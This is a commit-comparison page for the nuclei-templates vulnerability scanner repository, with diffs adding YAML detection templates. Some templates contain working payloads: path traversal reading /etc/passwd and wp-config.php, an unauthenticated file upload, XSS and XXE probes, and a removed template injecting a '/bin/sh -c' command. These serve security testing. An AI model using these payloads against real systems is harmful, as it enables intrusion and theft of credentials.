Compare commits

...
111 Commits
Author SHA1 Message Date
team-projectdiscovery d0df82d928 Adding content type checks for XSS templates 2020-12-14 00:54:23 +05:30
GitHub Action 26fd56cb3c Auto Update README [Sun Dec 13 19:12:38 UTC 2020] 🤖 2020-12-13 19:12:38 +00:00
PD-Team f5a5a0883d Merge pull request #675 from geeknik/patch-27
Delete CVE-2019-11043.yaml
2020-12-14 00:42:16 +05:30
GitHub Action b5df4d4484 Auto Update README [Sun Dec 13 18:18:59 UTC 2020] 🤖 2020-12-13 18:18:59 +00:00
PD-Team 72d3f514ff Merge pull request #674 from dwisiswant0/add/CVE-2020-11738
Add CVE-2020-11738
2020-12-13 23:48:19 +05:30
GitHub Action 745b22ba80 Auto Update README [Sun Dec 13 18:11:43 UTC 2020] 🤖 2020-12-13 18:11:43 +00:00
PD-Team 01af7248cb Merge pull request #673 from geeknik/patch-26
Create cacti-detect.yaml
2020-12-13 23:41:21 +05:30
GitHub Action 5fb1537113 Auto Update README [Sun Dec 13 18:08:52 UTC 2020] 🤖 2020-12-13 18:08:52 +00:00
PD-Team 9fc9c83855 Merge pull request #672 from geeknik/patch-25
Create mrtg-detect.yaml
2020-12-13 23:38:28 +05:30
GitHub Action b182114660 Auto Update README [Sun Dec 13 18:07:47 UTC 2020] 🤖 2020-12-13 18:07:47 +00:00
PD-Team e9ec9e7741 Merge pull request #671 from geeknik/patch-24
Create prtg-detect.yaml
2020-12-13 23:37:23 +05:30
Geeknik Labs 5e844c925f Delete CVE-2019-11043.yaml
This is the incorrect way to test for this particular bug. The person who pointed this out has no desire to open a pull request. So we nuke this file.
2020-12-12 19:45:59 +00:00
Dwi Siswanto 044bf5d19b 🔥 Add CVE-2020-11738 2020-12-12 12:03:34 +07:00
Geeknik Labs cffc385810 Update cacti-detect.yaml 2020-12-11 17:24:58 +00:00
Geeknik Labs fc5976e055 Update mrtg-detect.yaml
Missing `matchers-condition: and`. All good now.
2020-12-11 17:23:23 +00:00
Geeknik Labs 7b3cfde5ce Create cacti-detect.yaml 2020-12-11 14:39:47 +00:00
Geeknik Labs 37476b9aa9 Create mrtg-detect.yaml 2020-12-11 14:31:16 +00:00
Geeknik Labs d3f59bdf73 Create prtg-detect.yaml 2020-12-11 14:31:04 +00:00
GitHub Action c5f68c887d Auto Update README [Wed Dec 9 13:16:34 UTC 2020] 🤖 2020-12-09 13:16:34 +00:00
pdiscoveryio f83258f4a4 Merge pull request #669 from dwisiswant0/add/vuln-cve-2020-7318
Add McAfee ePO CVE & Vuln
2020-12-09 18:45:49 +05:30
Dwi Siswanto d383687b6a 🔥 Add CVE-2020-7318 2020-12-09 15:54:40 +07:00
Dwi Siswanto 0d103fe950 ✏️ Update description 2020-12-09 15:53:20 +07:00
Dwi Siswanto 711053cfa5 🔥 Add McAfee ePO RCE vulnerability 2020-12-09 15:33:35 +07:00
bauthard a6b1b2854b Merge pull request #668 from dwisiswant0/master
DO NOT Run Auto Update README on Fork Repo
2020-12-08 11:56:13 +05:30
Dwi Siswanto 163c79531a 🔨 Do not run auto update readme on fork repos 2020-12-08 08:58:06 +07:00
GitHub Action b16fdbb1bd Auto Update README [Mon Dec 7 15:44:55 UTC 2020] 🤖 2020-12-07 15:44:55 +00:00
bauthard 7a8e56145f Merge branch 'master' of https://github.com/projectdiscovery/nuclei-templates 2020-12-07 21:04:35 +05:30
bauthard 4a27e20fb2 Update .nuclei-ignore 2020-12-07 21:01:23 +05:30
GitHub Action 274d3c137b Auto Update README [Mon Dec 7 15:01:38 UTC 2020] 🤖 2020-12-07 15:01:38 +00:00
bauthard 33c36b045e Merge pull request #667 from dwisiswant0/add/CVE-2020-4463
Add CVE-2020-4463
2020-12-07 20:31:05 +05:30
bauthard dd077a0300 Adding small note 2020-12-07 20:30:11 +05:30
GitHub Action c199fc988d Auto Update README [Mon Dec 7 14:48:43 UTC 2020] 🤖 2020-12-07 14:48:43 +00:00
bauthard ad01bb0633 Temporarily removing due to f/p 2020-12-07 20:18:03 +05:30
Dwi Siswanto 676b5d23ef 🔥 Add CVE-2020-4463 2020-12-07 14:59:25 +07:00
bauthard e22932c1fa Improving matchers 2020-12-06 15:12:32 +05:30
GitHub Action c764630014 Auto Update README [Sun Dec 6 09:34:44 UTC 2020] 🤖 2020-12-06 09:34:44 +00:00
bauthard f55188d593 Merge pull request #666 from ree4pwn/master
Add CVE-2019-11581
2020-12-06 15:04:16 +05:30
bauthard 04d566eea5 misc changes 2020-12-06 15:02:10 +05:30
ree4pwn b7102ea11b Update CVE-2019-11581.yaml 2020-12-05 17:21:28 +08:00
ree4pwn bf3e0f501a Update CVE-2019-11581.yaml 2020-12-05 17:17:48 +08:00
ree4pwn b19bcfacf8 Update CVE-2019-11581.yaml
Fix syntax error
2020-12-05 17:00:05 +08:00
GitHub Action a52c707559 Auto Update README [Sat Dec 5 08:54:10 UTC 2020] 🤖 2020-12-05 08:54:10 +00:00
ree4pwn ed25602b79 Update jira-workflow.yaml
add cves/CVE-2019-11581.yaml
2020-12-05 16:53:46 +08:00
ree4pwn d3a77c422d Update and rename cve-2019-11581.yaml to CVE-2019-11581.yaml 2020-12-05 16:53:14 +08:00
GitHub Action 0f3733cb65 Auto Update README [Sat Dec 5 08:52:22 UTC 2020] 🤖 2020-12-05 08:52:22 +00:00
ree4pwn 3a7130030e cve-2019-11581
Jira template injection
2020-12-05 16:51:54 +08:00
GitHub Action 99fc9ceff7 Auto Update README [Sat Dec 5 08:44:59 UTC 2020] 🤖 2020-12-05 08:44:59 +00:00
ree4pwn e302f870bd Merge pull request #1 from projectdiscovery/master
Update from projectdiscovery/nuclei-templates
2020-12-05 16:44:08 +08:00
bauthard 3177a56ef6 Adding CVE-2020-16139 to avoid possible harm to server 2020-12-03 14:59:36 +05:30
GitHub Action 1bbf8b4c6e Auto Update README [Thu Dec 3 04:43:36 UTC 2020] 🤖 2020-12-03 04:43:36 +00:00
bauthard ed1c402cbd Merge pull request #663 from nodauf/patch-5
Detect the IdentityGuard Portal
2020-12-03 10:13:12 +05:30
bauthard d547d09bfd moving dirs 2020-12-03 10:12:22 +05:30
bauthard ecb7685514 Merge pull request #664 from geeknik/patch-22
Update shell-history.yaml
2020-12-03 10:08:15 +05:30
Geeknik Labs ebf1a2998a Update shell-history.yaml 2020-12-02 15:35:28 +00:00
nodauf e8ff86187c Detect the IdentityGuard Portal 2020-12-02 10:40:14 +01:00
bauthard ab151c3635 Merge pull request #661 from un-fmunozs/fix-cve
Update CVE-2019-15858.yaml
2020-12-02 10:58:24 +05:30
bauthard c32ca9cde7 Merge pull request #662 from projectdiscovery/un-fmunozs-fix-cve
Create CVE-2019-15858.yaml
2020-12-02 10:57:24 +05:30
GitHub Action c9d85eda95 Auto Update README [Wed Dec 2 05:26:30 UTC 2020] 🤖 2020-12-02 05:26:30 +00:00
bauthard 950d3e4f24 Create CVE-2019-15858.yaml 2020-12-02 10:55:57 +05:30
GitHub Action 97a3321346 Auto Update README [Wed Dec 2 05:18:35 UTC 2020] 🤖 2020-12-02 05:18:35 +00:00
bauthard 2ef8cb5c8f temporary remove 2020-12-02 10:47:07 +05:30
bauthard 5e59ad7ca5 Update CVE-2019-15858.yaml 2020-12-02 10:45:54 +05:30
bauthard 625228bddd Update CVE-2019-15858.yaml 2020-12-02 10:41:37 +05:30
bauthard f8449a41d9 readme update 2020-12-02 10:25:36 +05:30
bauthard 6b5734f25d Merge pull request #630 from Patralos/master
cve-2019-15858 reversed check
2020-12-02 10:22:45 +05:30
un-fmunozs 13046a8419 Merge branch 'fix-cve' of https://github.com/un-fmunozs/nuclei-templates into fix-cve 2020-12-01 23:46:55 -05:00
un-fmunozs 56b2926fc8 Update CVE-2019-15858.yaml
version number on the description was ok :)
2020-12-01 23:46:41 -05:00
GitHub Action 6917310e7f Auto Update README [Wed Dec 2 04:43:16 UTC 2020] 🤖 2020-12-02 04:43:16 +00:00
un-fmunozs bfe6d099af Update CVE-2019-15858.yaml
This got me a couple of false positive, so I went to review the original exploit

My changes:
- include the text/plain to make sure we are reading the readme file and not a redirect to /
- The check function on the template was  looking for 2.2.5 while the original exploit marks the site as NOT vulnerable if 2.2.5 string is found on the readme.txt file. [1] Changing that as negative check.
2020-12-01 23:42:33 -05:00
GitHub Action f874871060 Auto Update README [Wed Dec 2 04:39:44 UTC 2020] 🤖 2020-12-02 04:39:44 +00:00
bauthard 24257aed1e Merge pull request #659 from nodauf/patch-4
Detect if trace method is enabled
2020-12-02 10:09:16 +05:30
bauthard 4406f681ff moving dirs 2020-12-02 10:08:03 +05:30
bauthard b286a9839a Merge pull request #660 from un-fmunozs/text-html
Update basic-xss-prober.yaml
2020-12-02 10:02:36 +05:30
bauthard b2c07e0db6 matcher update 2020-12-02 10:01:03 +05:30
GitHub Action c6b4e62823 Auto Update README [Wed Dec 2 03:12:09 UTC 2020] 🤖 2020-12-02 03:12:09 +00:00
un-fmunozs 35b585fc3a Update basic-xss-prober.yaml
IMHO its better to test for text/html to report a possible XSS, there are a more content types that could cause reflect the content and dont have a XSS. like javascript, css, plaintext files, etc.
2020-12-01 22:11:07 -05:00
nodauf 951c605ab2 Detect if trace method is enabled 2020-12-01 15:45:15 +01:00
GitHub Action 18e4552cab Auto Update README [Tue Dec 1 13:55:45 UTC 2020] 🤖 2020-12-01 13:55:45 +00:00
bauthard f1aa96221e Adding misc 2020-12-01 19:25:11 +05:30
GitHub Action 461617c1c9 Auto Update README [Tue Dec 1 13:51:28 UTC 2020] 🤖 2020-12-01 13:51:28 +00:00
bauthard af477e2825 Merge pull request #653 from geeknik/patch-22
Create htpasswd.yaml
2020-12-01 19:18:15 +05:30
bauthard 7ee05c78e7 name and file rename 2020-12-01 19:16:49 +05:30
bauthard 194aa9d0b9 Merge pull request #657 from nodauf/patch-3
Using regex to detect when a hash is used
2020-12-01 18:57:49 +05:30
bauthard 3bb362c2e7 updating matcher type 2020-12-01 18:56:59 +05:30
GitHub Action 6befd9d601 Auto Update README [Tue Dec 1 13:23:45 UTC 2020] 🤖 2020-12-01 13:23:45 +00:00
bauthard f48d0ce88d Merge pull request #656 from nodauf/patch-2
Detect One Identity Password Manager
2020-12-01 18:53:19 +05:30
bauthard 18ca239039 Added oipm-detect 2020-12-01 18:50:54 +05:30
GitHub Action 05fd83ebda Auto Update README [Tue Dec 1 13:08:02 UTC 2020] 🤖 2020-12-01 13:08:02 +00:00
bauthard aaae4b259c Merge pull request #658 from dwisiswant0/add/CVE-2020-23972
Add CVE-2020-23972 [verified]
2020-12-01 18:37:36 +05:30
Dwi Siswanto 06b94ebae3 🔥 Add CVE-2020-23972 2020-12-01 16:25:33 +07:00
nodauf 242bca7592 Using regex to detect when a hash is used
There is some case where the like to the css file contains the hash of the file and looks like:
`/dana-na/css/ds_<hash>.css`

With this modification the case above will be detected
2020-12-01 09:29:47 +01:00
nodauf 5a677bb8a7 Detect One Identity Password Manager 2020-11-30 17:01:13 +01:00
bauthard 66a01665c9 Merge pull request #654 from geeknik/patch-23
Update CVE-2019-11043.yaml
2020-11-29 17:39:19 +05:30
bauthard 7d0d8bdb99 Update CVE-2019-11043.yaml 2020-11-29 17:38:24 +05:30
bauthard c89e241cdd Merge pull request #652 from geeknik/patch-21
Create pfsense-detect.yaml
2020-11-29 17:35:44 +05:30
bauthard f72215b580 Added pfsense to tech detect 2020-11-29 17:34:03 +05:30
Geeknik Labs 0bc9e92da6 Update CVE-2019-11043.yaml 2020-11-28 19:14:21 +00:00
Geeknik Labs 536a4c0267 Create htpasswd.yaml
Less than perfect but better than nothing.
2020-11-28 14:47:37 +00:00
Geeknik Labs 7885fd32c2 Create pfsense-detect.yaml 2020-11-28 13:56:18 +00:00
bauthard ccc7cfba52 reference update 2020-11-27 19:37:46 +05:30
GitHub Action 570ce82a0d Auto Update README [Fri Nov 27 13:13:31 UTC 2020] 🤖 2020-11-27 13:13:31 +00:00
bauthard 1f0cbd25c4 Merge pull request #651 from geeknik/patch-19
Create server-private-keys.yaml
2020-11-27 18:43:06 +05:30
Geeknik Labs cbb11e561d Create server-private-keys.yaml 2020-11-26 20:53:23 +00:00
bauthard 231974676e Merge pull request #650 from projectdiscovery/bugfix-cve-2019-12725
fixing unmarshal error
2020-11-27 01:19:50 +05:30
bauthard 519ddb4ce5 reverting the change 2020-11-27 01:19:35 +05:30
GitHub Action 478884cc45 Auto Update README [Thu Nov 26 19:47:17 UTC 2020] 🤖 2020-11-26 19:47:17 +00:00
bauthard 1b203b350b Update CVE-2019-12725.yaml 2020-11-27 01:16:49 +05:30
GitHub Action deb4115269 Auto Update README [Thu Nov 26 19:37:06 UTC 2020] 🤖 2020-11-26 19:37:06 +00:00
Mzack9999 f5e5515a35 fixing unmarshal error 2020-11-26 20:36:28 +01:00
Patralos f35eec7ba1 remove empty lines 2020-11-20 10:33:26 +01:00
Patralos becd37a635 cve-2019-15858 reversed check
2.2.5 is the fixed version and should therefore be absent.
2020-11-20 10:28:29 +01:00
44 changed files with 587 additions and 85 deletions

No files matched your search

+1 -1
View File
@@ -22,7 +22,7 @@ An overview of the nuclei template directory including number of templates and H
| dns | {countTpl("dns")} | fuzzing | {countTpl("fuzzing")} |
| generic-detections | {countTpl("generic-detections")} | default-credentials | {countTpl("default-credentials")} |
| subdomain-takeover | {countTpl("subdomain-takeover")} | payloads | {countTpl("payloads")} |
| wordlists | {countTpl("wordlists")} |
| wordlists | {countTpl("wordlists")} | misc | {countTpl("misc")} |
### Nuclei templates `{version}` tree overview
+1
View File
@@ -11,6 +11,7 @@ on:
jobs:
build:
runs-on: ubuntu-latest
if: github.repository == 'projectdiscovery/nuclei-templates'
steps:
- name: Install tree
run: sudo apt-get install tree -y
+2
View File
@@ -2,6 +2,8 @@
cves/CVE-2017-7529.yaml
cves/CVE-2020-13379.yaml
cves/CVE-2013-2251.yaml
cves/CVE-2020-16139.yaml
cves/CVE-2019-15858.yaml
vulnerabilities/x-forwarded-host-injection.yaml
fuzzing/
wordlists/
+23 -11
View File
@@ -11,21 +11,21 @@ Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/n
An overview of the nuclei template directory including number of templates and HTTP request associated with each directory.
### Nuclei templates `v7.2.7` overview
### Nuclei templates `v7.3.1` overview
| Templates | Counts | Templates | Counts |
|----|----|----|----|
| cves | 138 | files | 41 |
| vulnerabilities | 39 | panels | 40 |
| cves | 141 | files | 43 |
| vulnerabilities | 40 | panels | 45 |
| technologies | 40 | security-misconfiguration | 24 |
| workflows | 16 | tokens | 8 |
| dns | 6 | fuzzing | 6 |
| generic-detections | 3 | default-credentials | 3 |
| subdomain-takeover | 2 | payloads | 2 |
| wordlists | 1 |
| wordlists | 1 | misc | 13 |
### Nuclei templates `v7.2.7` tree overview
### Nuclei templates `v7.3.1` tree overview
<details>
<summary> Nuclei templates </summary>
@@ -71,10 +71,10 @@ An overview of the nuclei template directory including number of templates and H
│   ├── CVE-2018-7490.yaml
│   ├── CVE-2019-1010287.yaml
│   ├── CVE-2019-10475.yaml
│   ├── CVE-2019-11043.yaml
│   ├── CVE-2019-11248.yaml
│   ├── CVE-2019-11510.yaml
│   ├── CVE-2019-11580.yaml
│   ├── CVE-2019-11581.yaml
│   ├── CVE-2019-12314.yaml
│   ├── CVE-2019-12461.yaml
│   ├── CVE-2019-12593.yaml
@@ -84,7 +84,6 @@ An overview of the nuclei template directory including number of templates and H
│   ├── CVE-2019-14974.yaml
│   ├── CVE-2019-15043.yaml
│   ├── CVE-2019-15107.yaml
│   ├── CVE-2019-15858.yaml
│   ├── CVE-2019-16278.yaml
│   ├── CVE-2019-1653.yaml
│   ├── CVE-2019-16662.yaml
@@ -123,6 +122,7 @@ An overview of the nuclei template directory including number of templates and H
│   ├── CVE-2020-10204.yaml
│   ├── CVE-2020-11034.yaml
│   ├── CVE-2020-1147.yaml
│   ├── CVE-2020-11738.yaml
│   ├── CVE-2020-12116.yaml
│   ├── CVE-2020-12720.yaml
│   ├── CVE-2020-13167.yaml
@@ -141,6 +141,7 @@ An overview of the nuclei template directory including number of templates and H
│   ├── CVE-2020-17506.yaml
│   ├── CVE-2020-2096.yaml
│   ├── CVE-2020-2140.yaml
│   ├── CVE-2020-23972.yaml
│   ├── CVE-2020-24223.yaml
│   ├── CVE-2020-24312.yaml
│   ├── CVE-2020-2551.yaml
@@ -148,6 +149,7 @@ An overview of the nuclei template directory including number of templates and H
│   ├── CVE-2020-26214.yaml
│   ├── CVE-2020-3187.yaml
│   ├── CVE-2020-3452.yaml
│   ├── CVE-2020-4463.yaml
│   ├── CVE-2020-5284.yaml
│   ├── CVE-2020-5405.yaml
│   ├── CVE-2020-5410.yaml
@@ -157,6 +159,7 @@ An overview of the nuclei template directory including number of templates and H
│   ├── CVE-2020-5902.yaml
│   ├── CVE-2020-6287.yaml
│   ├── CVE-2020-7209.yaml
│   ├── CVE-2020-7318.yaml
│   ├── CVE-2020-7961.yaml
│   ├── CVE-2020-8091.yaml
│   ├── CVE-2020-8115.yaml
@@ -199,6 +202,7 @@ An overview of the nuclei template directory including number of templates and H
│   ├── filezilla.yaml
│   ├── firebase-detect.yaml
│   ├── git-config.yaml
│   ├── htpasswd-detection.yaml
│   ├── jkstatus-manager.yaml
│   ├── jolokia.yaml
│   ├── laravel-env.yaml
@@ -208,6 +212,7 @@ An overview of the nuclei template directory including number of templates and H
│   ├── phpinfo.yaml
│   ├── public-tomcat-instance.yaml
│   ├── redmine-db-config.yaml
│   ├── server-private-keys.yaml
│   ├── server-status-localhost.yaml
│   ├── shell-history.yaml
│   ├── sql-dump.yaml
@@ -246,6 +251,7 @@ An overview of the nuclei template directory including number of templates and H
│   ├── ntlm-directories.yaml
│   ├── robots.txt.yaml
│   ├── security.txt.yaml
│   ├── trace-method.yaml
│   ├── unencrypted-bigip-ltm-cookie.yaml
│   ├── wp-xmlrpc.yaml
│   └── xml-schema-detect.yaml
@@ -255,13 +261,17 @@ An overview of the nuclei template directory including number of templates and H
│   ├── atlassian-crowd-panel.yaml
│   ├── cisco-asa-panel.yaml
│   ├── citrix-adc-gateway-detect.yaml
│   ├── citrix-vpn-detect.yaml
│   ├── compal.yaml
│   ├── crxde.yaml
│   ├── docker-api.yaml
│   ├── fortinet-fortigate-panel.yaml
│   ├── github-enterprise-detect.yaml
│   ├── gitlab-detect.yaml
│   ├── globalprotect-panel.yaml
│   ├── go-anywhere-client.yaml
│   ├── grafana-detect.yaml
│   ├── identityguard-selfservice-entrust.yaml
│   ├── iomega-lenovo-emc-shared-nas-detect.yaml
│   ├── jenkins-asyncpeople.yaml
│   ├── jmx-console.yaml
@@ -270,6 +280,7 @@ An overview of the nuclei template directory including number of templates and H
│   ├── mobileiron-login.yaml
│   ├── netscaler-gateway.yaml
│   ├── network-camera-detect.yaml
│   ├── oipm-detect.yaml
│   ├── parallels-html-client.yaml
│   ├── phpmyadmin-panel.yaml
│   ├── polycom-admin-detect.yaml
@@ -326,12 +337,10 @@ An overview of the nuclei template directory including number of templates and H
│   ├── artica-web-proxy-detect.yaml
│   ├── basic-auth-detection.yaml
│   ├── bigip-config-utility-detect.yaml
│   ├── citrix-vpn-detect.yaml
│   ├── cacti-detect.yaml
│   ├── clockwork-php-page.yaml
│   ├── couchdb-detect.yaml
│   ├── favicon-detection.yaml
│   ├── github-enterprise-detect.yaml
│   ├── gitlab-detect.yaml
│   ├── google-storage.yaml
│   ├── graphql.yaml
│   ├── home-assistant.yaml
@@ -344,12 +353,14 @@ An overview of the nuclei template directory including number of templates and H
│   ├── linkerd-ssrf-detect.yaml
│   ├── lotus-domino-version.yaml
│   ├── magmi-detect.yaml
│   ├── mrtg-detect.yaml
│   ├── netsweeper-webadmin-detect.yaml
│   ├── nifi-detech.yaml
│   ├── oidc-detect.yaml
│   ├── pi-hole-detect.yaml
│   ├── prometheus-exporter-detect.yaml
│   ├── prometheus-exposed-panel.yaml
│   ├── prtg-detect.yaml
│   ├── redmine-cli-detect.yaml
│   ├── s3-detect.yaml
│   ├── sap-netweaver-as-java-detect.yaml
@@ -380,6 +391,7 @@ An overview of the nuclei template directory including number of templates and H
│   ├── eclipse-help-system-xss.yaml
│   ├── git-config-nginxoffbyslash.yaml
│   ├── ibm-infoprint-directory-traversal.yaml
│   ├── mcafee-epo-rce.yaml
│   ├── microstrategy-ssrf.yaml
│   ├── mida-eframework-xss.yaml
│   ├── moodle-filter-jmol-lfi.yaml
@@ -434,7 +446,7 @@ An overview of the nuclei template directory including number of templates and H
</details>
**16 directories, 383 files**.
**16 directories, 395 files**.
Please navigate to https://nuclei.projectdiscovery.io for detailed documentation to build new and your own custom templates and many example templates for easy understanding.
+6 -1
View File
@@ -22,4 +22,9 @@ requests:
- type: word
words:
- '"><script>alert(document.domain);</script><'
part: body
part: body
- type: word
words:
- "text/html"
part: header
+7
View File
@@ -9,8 +9,15 @@ requests:
- method: GET
path:
- "{{BaseURL}}/servlet/Satellite?destpage=%22%3Ch1xxx%3Cscriptalert(1)%3C%2Fscript&pagename=OpenMarket%2FXcelerate%2FUIFramework%2FLoginError"
matchers-condition: and
matchers:
- type: word
words:
- "<h1xxx<scriptalert(1)</script"
part: body
- type: word
words:
- "text/html"
part: header
+5
View File
@@ -18,3 +18,8 @@ requests:
words:
- "<svg/onload=alert(1337)>"
part: body
- type: word
words:
- "text/html"
part: header
-18
View File
@@ -1,18 +0,0 @@
id: cve-2019-11043
info:
name: PHP-FPM & nginx RCE
author: geeknik
severity: high
description: https://github.com/neex/phuip-fpizdam
requests:
- method: GET
path:
- "{{BaseURL}}/?a=/bin/sh+-c+'which+which'&"
matchers:
- type: word
words:
- "/bin/which"
part: body
+38
View File
@@ -0,0 +1,38 @@
id: CVE-2019-11581
info:
name: Atlassian Jira template injection
description: There was a server-side template injection vulnerability in Jira Server and Data Center, in the ContactAdministrators and the SendBulkMail actions. An attacker is able to remotely execute code on systems that run a vulnerable version of Jira Server or Data Center. All versions of Jira Server and Data Center from 4.4.0 before 7.6.14, from 7.7.0 before 7.13.5, from 8.0.0 before 8.0.3, from 8.1.0 before 8.1.2, and from 8.2.0 before 8.2.3 are affected by this vulnerability.
author: ree4pwn
severity: critical
reference: https://github.com/jas502n/CVE-2019-11581
product: Jira
# This is detection template only, use the referenced link for the exploitation.
requests:
- method: GET
path:
- "{{BaseURL}}/secure/ContactAdministrators!default.jspa"
matchers-condition: and
matchers:
- type: regex
regex:
- "\\(v4\\.4\\."
- "\\(v5\\."
- "\\(v6\\."
- "\\(v7\\.[012345789]\\."
- "\\(v7\\.1[0-2]\\."
- "\\(v7\\.6\\.([0-9]|[1][0-3])"
- "\\(v7\\.\\13\\.[0-4]"
- "\\(v8\\.0\\.[0-2]"
- "\\(v8\\.1\\.[0-1]"
- "\\(v8\\.2\\.[0-2]"
condition: or
part: body
- type: word
words:
- "Contact Site Administrators"
part: body
+4
View File
@@ -23,3 +23,7 @@ requests:
words:
- '"</script><script>alert(document.domain);</script><script>'
part: body
- type: word
words:
- "text/html"
part: header
+2 -2
View File
@@ -9,7 +9,7 @@ info:
found in ZeroShell 3.9.0 in the "/cgi-bin/kerbynet" url.
As sudo is configured to execute /bin/tar without a password (NOPASSWD)
it is possible to run root commands using the "checkpoint" tar options.
references:
references: |
- https://www.tarlogic.com/advisories/zeroshell-rce-root.txt
- https://github.com/X-C3LL/PoC-CVEs/blob/master/CVE-2019-12725/ZeroShell-RCE-EoP.py
@@ -24,4 +24,4 @@ requests:
- 200
- type: regex
regex:
- "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)"
- "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)"
-29
View File
@@ -1,29 +0,0 @@
id: cve-2019-15858
info:
name: Unauthenticated Woody Ad Snippets WordPress Plugin RCE
author: dwisiswant0
severity: high
description: |
This template supports the detection part only. See references.
admin/includes/class.import.snippet.php in the "Woody ad snippets" plugin
before 2.2.5 for WordPress allows unauthenticated options import,
as demonstrated by storing an XSS payload for remote code execution.
Source/References:
- https://github.com/GeneralEG/CVE-2019-15858
requests:
- method: GET
path:
- "{{BaseURL}}/wp-content/plugins/insert-php/readme.txt"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "2.2.5"
part: body
+39
View File
@@ -0,0 +1,39 @@
id: cve-2020-11738
info:
name: WordPress Duplicator plugin Directory Traversal
author: dwisiswant0
severity: high
description: |
The issue is being actively exploited, and allows attackers
to download arbitrary files, such as the wp-config.php file.
According to the vendor, the vulnerability was only in two
versions v1.3.24 and v1.3.26, the vulnerability wasn't
present in versions 1.3.22 and before.
References:
- https://www.tenable.com/blog/duplicator-wordpress-plugin-vulnerability-exploited-in-the-wild
requests:
- method: GET
path:
- "{{BaseURL}}/wp-admin/admin-ajax.php?action=duplicator_download&file=..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd"
- "{{BaseURL}}/wp-admin/admin-ajax.php?action=duplicator_download&file=%2F..%2Fwp-config.php"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: regex
regex:
- "File Transfer"
- "application/octet-stream"
- "attachment; filename=\"(wp-config\\.php|passwd)\""
condition: and
part: header
- type: regex
regex:
- "root:[x*]:0:0:"
- "define\\('DB_(NAME|USER|PASSWORD|HOST|CHARSET|COLLATE)'"
condition: or
part: body
+5
View File
@@ -20,6 +20,11 @@ requests:
- <h1>sample
part: body
- type: word
words:
- "text/html"
part: header
- type: status
status:
- 200
+48
View File
@@ -0,0 +1,48 @@
id: cve-2020-23972
info:
name: Joomla! Component GMapFP 3.5 - Unauthenticated Arbitrary File Upload
author: dwisiswant0
severity: high
description: |
An attacker can access the upload function of the application
without authenticating to the application and also can upload
files due the issues of unrestricted file upload which can be
bypassed by changing Content-Type & name file too double ext.
# Source: https://www.exploit-db.com/exploits/49129
requests:
- payloads:
component:
- "com_gmapfp"
- "comgmapfp"
raw:
- |
POST /index.php?option=§component§&controller=editlieux&tmpl=component&task=upload_image HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySHHbUsfCoxlX1bpS
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: {{BaseURL}}
Connection: close
------WebKitFormBoundarySHHbUsfCoxlX1bpS
Content-Disposition: form-data; name="option"
com_gmapfp
------WebKitFormBoundarySHHbUsfCoxlX1bpS
Content-Disposition: form-data; name="image1"; filename="nuclei.html.gif"
Content-Type: text/html
projectdiscovery
------WebKitFormBoundarySHHbUsfCoxlX1bpS
Content-Disposition: form-data; name="no_html"
no_html
------WebKitFormBoundarySHHbUsfCoxlX1bpS--
extractors:
- type: regex
part: body
regex:
- "window\\.opener\\.(changeDisplayImage|addphoto)\\(\"(.*?)\"\\);"
+5 -1
View File
@@ -21,4 +21,8 @@ requests:
- type: word
words:
- '"><script>alert(document.domain)</script>'
part: body
part: body
- type: word
words:
- "text/html"
part: header
+41
View File
@@ -0,0 +1,41 @@
id: cve-2020-4463
info:
name: IBM Maximo Asset Management Information Disclosure via XXE
author: dwisiswant0
severity: high
description: |
IBM Maximo Asset Management is vulnerable to an
XML External Entity Injection (XXE) attack when processing XML data.
A remote attacker could exploit this vulnerability to expose
sensitive information or consume memory resources.
References:
- https://www.ibm.com/support/pages/security-bulletin-ibm-maximo-asset-management-vulnerable-information-disclosure-cve-2020-4463
- https://github.com/Ibonok/CVE-2020-4463
# This is detection template, use the referenced poc for the exploitation.
requests:
- method: POST
path:
- "{{BaseURL}}/os/mxperson"
- "{{BaseURL}}/meaweb/os/mxperson"
body: |
<?xml version='1.0' encoding='UTF-8'?>
<max:QueryMXPERSON xmlns:max='http://www.ibm.com/maximo'>
<max:MXPERSONQuery></max:MXPERSONQuery>
</max:QueryMXPERSON>
headers:
Content-Type: application/xml
matchers-condition: and
matchers:
- type: word
words:
- "application/xml"
part: header
- type: word
words:
- "QueryMXPERSONResponse"
- "MXPERSONSet"
part: body
+41
View File
@@ -0,0 +1,41 @@
id: cve-2020-7318
info:
name: McAfee ePolicy Orchestrator Reflected XSS
author: dwisiswant0
severity: medium
description: |
Cross-Site Scripting vulnerability in McAfee ePolicy Orchestrator (ePO)
prior to 5.10.9 Update 9 allows administrators to inject arbitrary web
script or HTML via multiple parameters where the administrator's entries
were not correctly sanitized.
References:
- https://swarm.ptsecurity.com/vulnerabilities-in-mcafee-epolicy-orchestrator/
requests:
- payloads:
port:
- "80"
- "443"
- "8443"
raw:
- |
GET /PolicyMgmt/policyDetailsCard.do?poID=19&typeID=3&prodID=%27%22%3E%3Csvg%2fonload%3dalert(document.domain)%3E HTTP/1.1
Host: {{Hostname}}:§port§
Connection: close
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "text/html"
part: header
- type: word
words:
- "Policy Name"
- "'\"><svg/onload=alert(document.domain)>"
condition: and
part: body
+4
View File
@@ -23,3 +23,7 @@ requests:
- type: status
status:
- 200
- type: word
words:
- "text/html"
part: header
+5
View File
@@ -27,3 +27,8 @@ requests:
- type: status
status:
- 200
- type: word
words:
- "text/html"
part: header
+23
View File
@@ -0,0 +1,23 @@
id: htpasswd
info:
name: Detect exposed .htpasswd files
author: geeknik
severity: info
requests:
- method: GET
path:
- "{{BaseURL}}/.htpasswd"
matchers-condition: and
matchers:
- type: word
words:
- ":{SHA}"
- ":$apr1$"
- ":$2y$"
condition: or
- type: status
status:
- 200
+37
View File
@@ -0,0 +1,37 @@
id: server-private-keys
info:
name: Detect Private SSH and TLS Keys
author: geeknik
severity: high
requests:
- method: GET
path:
- "{{BaseURL}}/host.key"
- "{{BaseURL}}/www.key"
- "{{BaseURL}}/private-key"
- "{{BaseURL}}/privatekey.key"
- "{{BaseURL}}/server.key"
- "{{BaseURL}}/my.key"
